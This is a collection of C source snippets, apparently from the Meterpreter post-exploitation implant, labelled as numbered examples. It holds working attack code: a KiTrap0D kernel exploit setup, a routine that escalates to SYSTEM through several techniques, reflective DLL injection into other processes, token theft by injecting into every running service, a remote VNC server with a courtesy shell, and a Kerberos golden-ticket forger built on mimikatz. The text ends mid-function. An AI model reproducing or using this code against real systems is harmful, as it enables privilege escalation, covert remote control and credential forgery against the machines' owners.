Beispiel #1
0
/*
 * Setup a minimal execution environment to satisfy NtVdmControl().
 */
BOOL elevator_kitrap0d_initvdmsubsystem( VOID )
{
	DWORD dwResult                   = ERROR_SUCCESS;
	FARPROC pNtAllocateVirtualMemory = NULL;
	FARPROC pNtFreeVirtualMemory     = NULL;
	FARPROC pNtVdmControl            = NULL;
	PBYTE BaseAddress                = (PVOID)0x00000001;
	HMODULE hNtdll                   = NULL;
	ULONG RegionSize                 = 0;
	static DWORD TrapHandler[128]    = {0};
	static DWORD IcaUserData[128]    = {0};

	static struct {
		PVOID TrapHandler;
		PVOID IcaUserData;
	} InitData;

	do
	{
		hNtdll = GetModuleHandle( "ntdll" );
		if( !hNtdll )
			BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER );

		pNtAllocateVirtualMemory = GetProcAddress( hNtdll, "NtAllocateVirtualMemory" );
		pNtFreeVirtualMemory     = GetProcAddress( hNtdll, "NtFreeVirtualMemory" );
		pNtVdmControl            = GetProcAddress( hNtdll, "NtVdmControl" );

		if( !pNtAllocateVirtualMemory || !pNtFreeVirtualMemory || !pNtVdmControl )
			BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. invalid params", ERROR_INVALID_PARAMETER );
		
		InitData.TrapHandler = TrapHandler;
		InitData.IcaUserData = IcaUserData;

		// Remove anything currently mapped at NULL
		pNtFreeVirtualMemory( GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE );

		BaseAddress = (PVOID)0x00000001;
		RegionSize  = (ULONG)0x00100000;

		// Allocate the 1MB virtual 8086 address space.
		if( pNtAllocateVirtualMemory( GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ) != STATUS_SUCCESS )
			BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtAllocateVirtualMemory failed", 'NTAV' );

		// Finalise the initialisation.
		if( pNtVdmControl( VdmInitialize, &InitData ) != STATUS_SUCCESS )
			BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtVdmControl failed", 'VDMC' );

		return TRUE;

	} while( 0 );

	ExitThread( dwResult );

	return FALSE;
}
/*
 * Create and run a VNC server on this socket.
 */
DWORD vncdll_run( AGENT_CTX * lpAgentContext )
{
	DWORD dwResult      = ERROR_SUCCESS;
	VSocketSystem * vsocketsystem = NULL;
	vncServer * vserver = NULL;
	HDESK desk          = NULL;
	WSADATA WSAData     = {0};
	SOCKET sock         = 0;
	BYTE bFlags         = 0;

	do
	{
		dprintf( "[VNCDLL] vncdll_run. Started..." );

		if( !lpAgentContext )
			BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. invalid parameters", ERROR_INVALID_PARAMETER );
		
		hMessageMutex = CreateMutex( NULL, FALSE, NULL );

		desk = vncdll_getinputdesktop( TRUE );
		
		vncdll_unlockwindowstation();

		if( !lpAgentContext->bDisableCourtesyShell )
			vncdll_courtesyshell( desk );

		vsocketsystem = new VSocketSystem();
		if( !vsocketsystem->Initialised() )
			BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. VSocketSystem Initialised failed", ERROR_NETWORK_ACCESS_DENIED );

		vserver = new vncServer();

		vncClientId cid = vserver->AddClient( lpAgentContext );

		dprintf( "[VNCDLL-0x%08X] vncdll_run. Going into wait state... cid=%d", hAppInstance, cid );
	
		WaitForSingleObject( lpAgentContext->hCloseEvent, INFINITE );
		
		vserver->RemoveClient( cid );

	} while( 0 );

	dprintf( "[VNCDLL-0x%08X] vncdll_run. terminating...", hAppInstance );

	delete vserver;

	delete vsocketsystem;

	CLOSE_HANDLE( hMessageMutex );

	return 0;
}
Beispiel #3
0
/*
 * Inject a DLL into another process via Reflective DLL Injection.
 */
DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer )
{
	DWORD dwResult     = ERROR_ACCESS_DENIED;
	DWORD dwPidArch    = PROCESS_ARCH_UNKNOWN;
	DWORD dwDllArch    = PROCESS_ARCH_UNKNOWN;
	LPVOID lpDllBuffer = NULL;
	DWORD dwDllLenght  = 0;

	do
	{
		if( !pDllBuffer )
			BREAK_WITH_ERROR( "[PS] ps_inject_dll. No Dll buffer specified", ERROR_INVALID_PARAMETER ); 

		dwPidArch = ps_getarch( dwPid );

		dprintf("before pid check, dwPidArch: %d", dwPidArch);
		//dwPidArch = PROCESS_ARCH_X86;
		if( dwPidArch == PROCESS_ARCH_X86 )
		{
			lpDllBuffer = pDllBuffer->lpPE32DllBuffer;
			dwDllLenght = pDllBuffer->dwPE32DllLenght;
			dprintf("ps_inject PID arch is x86");
		}
		else if( dwPidArch == PROCESS_ARCH_X64 )
		{
			lpDllBuffer = pDllBuffer->lpPE64DllBuffer;
			dwDllLenght = pDllBuffer->dwPE64DllLenght;
			dprintf("ps_inject PID arch is x64");
		}
		else
		{
			BREAK_WITH_ERROR( "[PS] ps_inject_dll. Unable to determine target pid arhitecture", ERROR_INVALID_DATA ); 
		}

		dwDllArch = ps_getarch_dll( lpDllBuffer );
		if( dwDllArch == PROCESS_ARCH_UNKNOWN )
			BREAK_WITH_ERROR( "[PS] ps_inject_dll. Unable to determine DLL arhitecture", ERROR_BAD_FORMAT ); 

		if( dwDllArch != dwPidArch )
			BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT ); 

		dwResult = inject_dll( dwPid, lpDllBuffer, dwDllLenght );

	} while( 0 );

	return dwResult;
}
Beispiel #4
0
/*
 * Shuts the socket down for either reading or writing based on the how
 * parameter supplied by the remote side
 */
DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
{
	DWORD dwResult      = ERROR_SUCCESS;
	Packet * response   = NULL;
	SocketContext * ctx = NULL;
	Channel * channel   = NULL;
	DWORD cid           = 0;
	DWORD how           = 0;

	do
	{
		dprintf( "[TCP] entering request_net_socket_tcp_shutdown" );
		response = packet_create_response( packet );
		if( !response )
			BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. response == NULL", ERROR_NOT_ENOUGH_MEMORY );

		cid = packet_get_tlv_value_uint( packet, TLV_TYPE_CHANNEL_ID );
		how = packet_get_tlv_value_uint( packet, TLV_TYPE_SHUTDOWN_HOW );

		channel = channel_find_by_id( cid );
		if( !response )
			BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. channel == NULL", ERROR_INVALID_HANDLE );

		dprintf( "[TCP] request_net_socket_tcp_shutdown. channel=0x%08X, cid=%d", channel, cid );

		ctx = channel_get_native_io_context( channel );
		if( !ctx )
			BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE );

		if( shutdown( ctx->fd, how ) == SOCKET_ERROR )
			BREAK_ON_WSAERROR( "[TCP] request_net_socket_tcp_shutdown. shutdown failed" );

		// sf: we dont seem to need to call this here, as the channels tcp_channel_client_local_notify() will 
		// catch the socket closure and call free_socket_context() for us, due the the FD_READ|FD_CLOSE flags 
		// being passed to WSAEventSelect for the notify event in create_tcp_client_channel().
		// This avoids a double call (from two different threads) and subsequent access violation in some edge cases.
		//free_socket_context( ctx );

	} while( 0 );

	packet_transmit_response( dwResult, remote, response );

	dprintf( "[TCP] leaving request_net_socket_tcp_shutdown" );
	
	return ERROR_SUCCESS;
}
Beispiel #5
0
/*
 * Extract the vnc.dll into the provided DLL_BUFFER.
 */
DWORD loader_vncdll( DLL_BUFFER * pDllBuffer )
{
	DWORD dwResult           = ERROR_SUCCESS;
	HRSRC hVncResource       = NULL;
	HGLOBAL hVncResourceLoad = NULL;
	LPVOID lpVncDllBuffer    = NULL;
	DWORD dwVncDllSize       = 0;
#ifdef _WIN64
	DWORD dwCompiledArch     = PROCESS_ARCH_X64;
#else
	DWORD dwCompiledArch     = PROCESS_ARCH_X86;
#endif

	do
	{
		if( !pDllBuffer )
			BREAK_WITH_ERROR( "[LOADER] Init. pDllBuffer is null", ERROR_INVALID_PARAMETER );

		pDllBuffer->dwPE64DllLenght = 0;
		pDllBuffer->lpPE64DllBuffer = NULL;
		pDllBuffer->dwPE32DllLenght = 0;
		pDllBuffer->lpPE32DllBuffer = NULL;

		hVncResource = FindResource( (HMODULE)hAppInstance, "IDR_VNC_DLL", "IMG" );  
		if( !hVncResource )
			BREAK_ON_ERROR( "[LOADER] Init. FindResource failed" );
	
		dwVncDllSize = SizeofResource( (HMODULE)hAppInstance, hVncResource );
		if( !dwVncDllSize )
			BREAK_ON_ERROR( "[LOADER] Init. SizeofResource failed" );

		hVncResourceLoad = LoadResource( (HMODULE)hAppInstance, hVncResource );   
		if( !hVncResourceLoad )
			BREAK_ON_ERROR( "[LOADER] Init. LoadResource failed" );

		lpVncDllBuffer = LockResource( hVncResourceLoad );
		if( !lpVncDllBuffer )
			BREAK_ON_ERROR( "[LOADER] Init. LockResource failed" );

		dprintf( "[LOADER] Init. lpVncDllBuffer=0x%08X, dwVncDllSize=%d", lpVncDllBuffer, dwVncDllSize );

		if( dwCompiledArch == PROCESS_ARCH_X64 )
		{
			pDllBuffer->dwPE64DllLenght = dwVncDllSize;
			pDllBuffer->lpPE64DllBuffer = lpVncDllBuffer;
		}
		else if( dwCompiledArch == PROCESS_ARCH_X86 )
		{
			pDllBuffer->dwPE32DllLenght = dwVncDllSize;
			pDllBuffer->lpPE32DllBuffer = lpVncDllBuffer;
		}

	} while( 0 );

	SetLastError( dwResult );

	return dwResult;
}
Beispiel #6
0
/*!
 * @brief Attempt to elevate the current meterpreter to local system using a variety of techniques.
 * @details This function attempts to get system level privileges using a number of techniques.
 *          If the caller hasn't specified a particular technique, then all of the known techniques are
 *          attempted in order until one succeeds.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS Elevation to `SYSTEM` was successful.
 */
DWORD elevate_getsystem( Remote * remote, Packet * packet )
{
	DWORD dwResult    = ERROR_SUCCESS;
	DWORD dwTechnique = ELEVATE_TECHNIQUE_ANY;
	Packet * response = NULL;

	do
	{
		response = packet_create_response( packet );
		if( !response )
			BREAK_WITH_ERROR( "[ELEVATE] get_system. packet_create_response failed", ERROR_INVALID_HANDLE );

		dwTechnique = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE );
		dprintf( "[ELEVATE] Technique requested (%u)", dwTechnique );
		
		if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE ) {
			dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE );
			if ( (dwResult = elevate_via_service_namedpipe( remote, packet )) == ERROR_SUCCESS ) {
				dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE;
				break;
			}
		}
		
		if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 ) {
			dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 );
			if ( (dwResult = elevate_via_service_namedpipe2( remote, packet )) == ERROR_SUCCESS ) {
				dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2;
				break;
			}
		}
		
		if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_TOKENDUP ) {
			dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_TOKENDUP (%u)", ELEVATE_TECHNIQUE_SERVICE_TOKENDUP );
			if ( (dwResult = elevate_via_service_tokendup( remote, packet )) == ERROR_SUCCESS ) {
				dwTechnique = ELEVATE_TECHNIQUE_SERVICE_TOKENDUP;
				break;
			}
		}
		
		if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D ) {
			dprintf( "[ELEVATE] Attempting ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D (%u)", ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D );
			if ( (dwResult = elevate_via_exploit_kitrap0d( remote, packet )) == ERROR_SUCCESS ) {
				dwTechnique = ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D;
				break;
			}
		}
	} while( 0 );

	if( response )
	{
		packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE,  dwResult == ERROR_SUCCESS ? dwTechnique : ELEVATE_TECHNIQUE_NONE );
		packet_transmit_response( dwResult, remote, response );
	}

	return dwResult;
}
/*
 * Send a buffer to a named pipe server.
 */
DWORD screenshot_send( char * cpNamedPipe, BYTE * pJpegBuffer, DWORD dwJpegSize )
{
	DWORD dwResult  = ERROR_ACCESS_DENIED;
	HANDLE hPipe    = NULL;
	DWORD dwWritten = 0;
	DWORD dwTotal   = 0;

	do
	{
		hPipe = CreateFileA( cpNamedPipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
		if( !hPipe )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. CreateFileA failed" );
		
		if( !WriteFile( hPipe, (LPCVOID)&dwJpegSize, sizeof(DWORD), &dwWritten, NULL ) )
			BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. WriteFile JPEG length failed" );
		
		if( !dwJpegSize || !pJpegBuffer )
			BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. No JPEG to transmit.", ERROR_BAD_LENGTH );

		while( dwTotal < dwJpegSize )
		{
			if( !WriteFile( hPipe, (LPCVOID)(pJpegBuffer + dwTotal), (dwJpegSize - dwTotal), &dwWritten, NULL ) )
				break;
			dwTotal += dwWritten;
		}

		if( dwTotal != dwJpegSize )
			BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. dwTotal != dwJpegSize", ERROR_BAD_LENGTH );

		dwResult = ERROR_SUCCESS;

	} while( 0 );

	CLOSE_HANDLE( hPipe );

	return dwResult;
}
/*
 * Switch to the input desktop and set it as this threads desktop.
 */
HDESK vncdll_getinputdesktop( BOOL bSwitchStation )
{
	DWORD dwResult         = ERROR_ACCESS_DENIED;
	HWINSTA hWindowStation = NULL;
	HDESK hInputDesktop    = NULL;
	HWND hDesktopWnd       = NULL;	

	do
	{
		if( bSwitchStation )
		{
			// open the WinSta0 as some services are attached to a different window station.
			hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
			if( !hWindowStation )
			{
				if( RevertToSelf() )
					hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
			}
			
			// if we cant open the defaut input station we wont be able to take a screenshot
			if( !hWindowStation )
				BREAK_WITH_ERROR( "[VNCDLL] vncdll_getinputdesktop: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
			
			// set the host process's window station to this sessions default input station we opened
			if( !SetProcessWindowStation( hWindowStation ) )
				BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: SetProcessWindowStation failed" );
		}

		// grab a handle to the default input desktop (e.g. Default or WinLogon)
		hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
		if( !hInputDesktop )
			BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: OpenInputDesktop failed" );

		// set this threads desktop to that of this sessions default input desktop on WinSta0
		SetThreadDesktop( hInputDesktop );
	
	} while( 0 );

	return hInputDesktop;
}
Beispiel #9
0
/*!
 * @brief Handler for the create golden kerberos ticket message.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the incoming packet.
 * @returns \c ERROR_SUCCESS
 */
DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet)
{
	DWORD dwResult;
	Packet * response = packet_create_response(packet);
	DWORD dwGroupCount = 0;
	DWORD* pdwGroups = NULL;
	Tlv groupIdTlv;
	char* user = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_USER);
	char* domain = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_DOMAIN);
	char* sid = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_SID);
	char* tgt = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_TGT);
	DWORD userId = packet_get_tlv_value_uint(packet, TLV_TYPE_KIWI_GOLD_USERID);

	if (!user || !domain || !sid || !tgt)
	{
		dwResult = ERROR_INVALID_PARAMETER;
	}
	else
	{
		while (packet_enum_tlv(packet, dwGroupCount, TLV_TYPE_KIWI_GOLD_GROUPID, &groupIdTlv) == ERROR_SUCCESS)
		{
			pdwGroups = (DWORD*)realloc(pdwGroups, sizeof(DWORD) * (dwGroupCount + 1));

			if (!pdwGroups)
			{
				BREAK_WITH_ERROR("Unable to allocate memory for groups", ERROR_OUTOFMEMORY);
			}

			pdwGroups[dwGroupCount++] = htonl(*(UINT*)groupIdTlv.buffer);
		}

		dwResult = mimikatz_kerberos_golden_ticket_create(user, domain, sid, tgt, userId, pdwGroups, dwGroupCount, response);
	}

	packet_transmit_response(dwResult, remote, response);

	return ERROR_SUCCESS;
}
/*
 * Enable or disable a privilege in our processes current token.
 */
BOOL elevate_priv( char * cpPrivilege, BOOL bEnable )
{
	DWORD dwResult        = ERROR_SUCCESS;
	HANDLE hToken         = NULL;
	TOKEN_PRIVILEGES priv = {0};

	do
	{
		if( !cpPrivilege )
			BREAK_WITH_ERROR( "[ELEVATE] elevate_priv. invalid arguments", ERROR_BAD_ARGUMENTS );

		if( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_priv. OpenProcessToken failed" );
		
		priv.PrivilegeCount = 1;

		if( bEnable )
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		else
			priv.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;

		if( !LookupPrivilegeValue( NULL, cpPrivilege, &priv.Privileges[0].Luid ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_priv. LookupPrivilegeValue failed" );

		if( !AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_priv. AdjustTokenPrivileges failed" );

	} while( 0 );
	
	CLOSE_HANDLE( hToken );

	SetLastError( dwResult );

	if( dwResult == ERROR_SUCCESS )
		return TRUE;

	return FALSE;
}
/*
 * Elevate a pipe server by allowing it to impersonate us.
 */
BOOL elevator_namedpipeservice( char * cpServiceName )
{
	DWORD dwResult                      = ERROR_SUCCESS;
	SERVICE_TABLE_ENTRY servicetable[2] = {0};

	do
	{
		if( !cpServiceName )
			BREAK_WITH_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. cpServiceName == NULL", ERROR_INVALID_HANDLE );
		
		lpServiceName = _strdup( cpServiceName );
	
		hTerminate = CreateEvent( 0, TRUE, FALSE, 0 );
		if( !hTerminate )
			BREAK_ON_ERROR( "[ELAVATOR-NAMEDPIPE] elevator_service_proc. CreateEvent hTerminate failed" );

		servicetable[0].lpServiceName = lpServiceName;
		servicetable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)elevator_serviceproc;

		servicetable[1].lpServiceName = NULL;
		servicetable[1].lpServiceProc = NULL;

		if( !StartServiceCtrlDispatcher( servicetable ) )
			BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. StartServiceCtrlDispatcher failed" );

		if( WaitForSingleObject( hTerminate, INFINITE ) != WAIT_OBJECT_0 )
			BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. WaitForSingleObject failed" );

		dwResult = dwElevateStatus;

	} while( 0 );
	
	CLOSE_HANDLE( hTerminate );

	return dwResult;
}
/*
 * Elevate from local admin to local system via code injection in a system service.
 * Does not work on NT4 (needed api's missing) Works on 2000, XP, 2003. On Vista, 2008 or 7 we cant open
 * service process from a non elevated admin.
 *
 * A current limitation in LoadRemoteLibraryR prevents this from working across 
 * architectures so we just filter out running this from an x64 platform for now.
 */
DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
{
	DWORD dwResult                   = ERROR_SUCCESS;
	HANDLE hToken                    = NULL;
	HANDLE hTokenDup                 = NULL;
	HANDLE hProcess                  = NULL;
	HANDLE hThread                   = NULL;
	HANDLE hManager                  = NULL;
	HANDLE hService                  = NULL;
	LPVOID lpServiceBuffer           = NULL;
	LPVOID lpRemoteCommandLine       = NULL;
	ENUM_SERVICE_STATUS * lpServices = NULL;
	char * cpServiceName             = NULL;
	SERVICE_STATUS_PROCESS status    = {0};
	char cCommandLine[128]           = {0};
	OSVERSIONINFO os                 = {0};
	DWORD dwServiceLength            = 0;
	DWORD dwBytes                    = 0;
	DWORD index                      = 0;
	DWORD dwServicesReturned         = 0;
	DWORD dwExitCode                 = 0;

	do
	{
		// only works on x86 systems for now...
		if( elevate_getnativearch() != PROCESS_ARCH_X86 )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_service_debug. Unsuported platform", ERROR_BAD_ENVIRONMENT );

		os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );

		if( !GetVersionEx( &os ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: GetVersionEx failed" )

		// filter out Windows NT4 
		if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
			BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT )

		cpServiceName   = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
		dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
		lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );

		if( !dwServiceLength || !lpServiceBuffer )
			BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS );

		if( !elevate_priv( SE_DEBUG_NAME, TRUE ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. elevate_priv SE_DEBUG_NAME failed" );

		hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE );
		if( !hManager )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. OpenSCManagerA failed" );
		
		if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, NULL, 0, &dwBytes, &dwServicesReturned, NULL ) )
		{
			if( GetLastError() != ERROR_MORE_DATA )
				BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 1 failed" );
		}

		lpServices = (ENUM_SERVICE_STATUS *)malloc( dwBytes );
		if( !lpServices )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. malloc lpServices failed" );

		if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, lpServices, dwBytes, &dwBytes, &dwServicesReturned, NULL ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 2 failed" );
	
		dwResult = ERROR_ACCESS_DENIED;

		// we enumerate all services, injecting our elevator.dll (via RDI), if the injected thread returns successfully
		// it means we have been given a system token so we duplicate it as a primary token for use by metsrv.
		for( index=0 ; index<dwServicesReturned ; index++ )
		{
			do
			{
				hService = OpenServiceA( hManager, lpServices[index].lpServiceName, SERVICE_QUERY_STATUS ); 
				if( !hService )
					break;

				if( !QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&status, sizeof(SERVICE_STATUS_PROCESS), &dwBytes ) )
					break;
				
				if( status.dwCurrentState != SERVICE_RUNNING )
					break;

				// open a handle to this service (assumes we have SeDebugPrivilege)...
				hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId );
				if( !hProcess )
					break;

				dprintf( "[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d", index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId  );
	
				_snprintf( cCommandLine, sizeof(cCommandLine), "/t:0x%08X\x00", GetCurrentThreadId() );

				// alloc some space and write the commandline which we will pass to the injected dll...
				lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); 
				if( !lpRemoteCommandLine )
					break; 

				if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) )
					break;

				// use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll
				hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine );
				if( !hThread )
					break;

				// we will only wait 30 seconds for the elevator.dll to do its job, if this times out we assume it failed.
				if( WaitForSingleObject( hThread, 30000 ) != WAIT_OBJECT_0 )
					break;

				// get the exit code for our injected elevator.dll
				if( !GetExitCodeThread( hThread, &dwExitCode ) )
					break;

				// if the exit code was successfull we have been given a local system token, so we duplicate it
				// as a primary token for use by metsrv
				if( dwExitCode == ERROR_SUCCESS )
				{
					if( OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken ) )
					{

						if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) )
						{
							core_update_thread_token( remote, hTokenDup );
							dwResult = ERROR_SUCCESS;
							break;
						}
					}
				}

			} while( 0 );

			CLOSE_SERVICE_HANDLE( hService );

			CLOSE_HANDLE( hProcess );

			CLOSE_HANDLE( hThread );

			CLOSE_HANDLE( hToken );
			
			if( dwResult == ERROR_SUCCESS )
				break;
		}

	} while( 0 );

	CLOSE_SERVICE_HANDLE( hManager );

	if( lpServices )
		free( lpServices );

	SetLastError( dwResult );

	return dwResult;
}
/*!
 * @brief Allocates a streaming TCP server channel.
 * @param remote Pointer to the remote instance.
 * @param packet Pointer to the request packet.
 * @returns Indication of success or failure.
 * @retval ERROR_SUCCESS Opening the server channel completed successfully.
 */
DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
{
    DWORD dwResult = ERROR_SUCCESS;
    TcpServerContext * ctx = NULL;
    Packet * response = NULL;
    char * localHost = NULL;
    StreamChannelOps chops = { 0 };
    USHORT localPort = 0;
    BOOL v4Fallback = FALSE;

    do
    {
        response = packet_create_response(packet);
        if (!response)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY);
        }

        ctx = (TcpServerContext *)malloc(sizeof(TcpServerContext));
        if (!ctx)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY);
        }

        memset(ctx, 0, sizeof(TcpServerContext));

        ctx->remote = remote;

        localPort = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF);
        if (!localPort)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. localPort == NULL", ERROR_INVALID_HANDLE);
        }

        localHost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST);

        ctx->fd = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
        if (ctx->fd == INVALID_SOCKET)
        {
            v4Fallback = TRUE;
        }
        else
        {
            int no = 0;
            if (setsockopt(ctx->fd, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR)
            {
                // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to
                // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common
                // so instead, we'll just revert back to v4 and listen on that one address instead.
                closesocket(ctx->fd);
                v4Fallback = TRUE;
            }
        }

        struct sockaddr_in6 sockAddr = { 0 };
        DWORD sockAddrSize = 0;

        if (v4Fallback)
        {
            struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr;
            v4Addr->sin_addr.s_addr = localHost == NULL ? htons(INADDR_ANY) : inet_addr(localHost);
            v4Addr->sin_family = AF_INET;
            v4Addr->sin_port = htons(localPort);
            sockAddrSize = sizeof(struct sockaddr_in);
        }
        else
        {
            // TODO: add IPv6 address binding support
            sockAddr.sin6_addr = in6addr_any;
            sockAddr.sin6_family = AF_INET6;
            sockAddr.sin6_port = htons(localPort);
            sockAddrSize = sizeof(struct sockaddr_in6);
        }

        if (bind(ctx->fd, (SOCKADDR *)&sockAddr, sockAddrSize) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed");
        }

        if (listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed");
        }

        ctx->notify = WSACreateEvent();
        if (ctx->notify == WSA_INVALID_EVENT)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed");
        }

        if (WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR)
        {
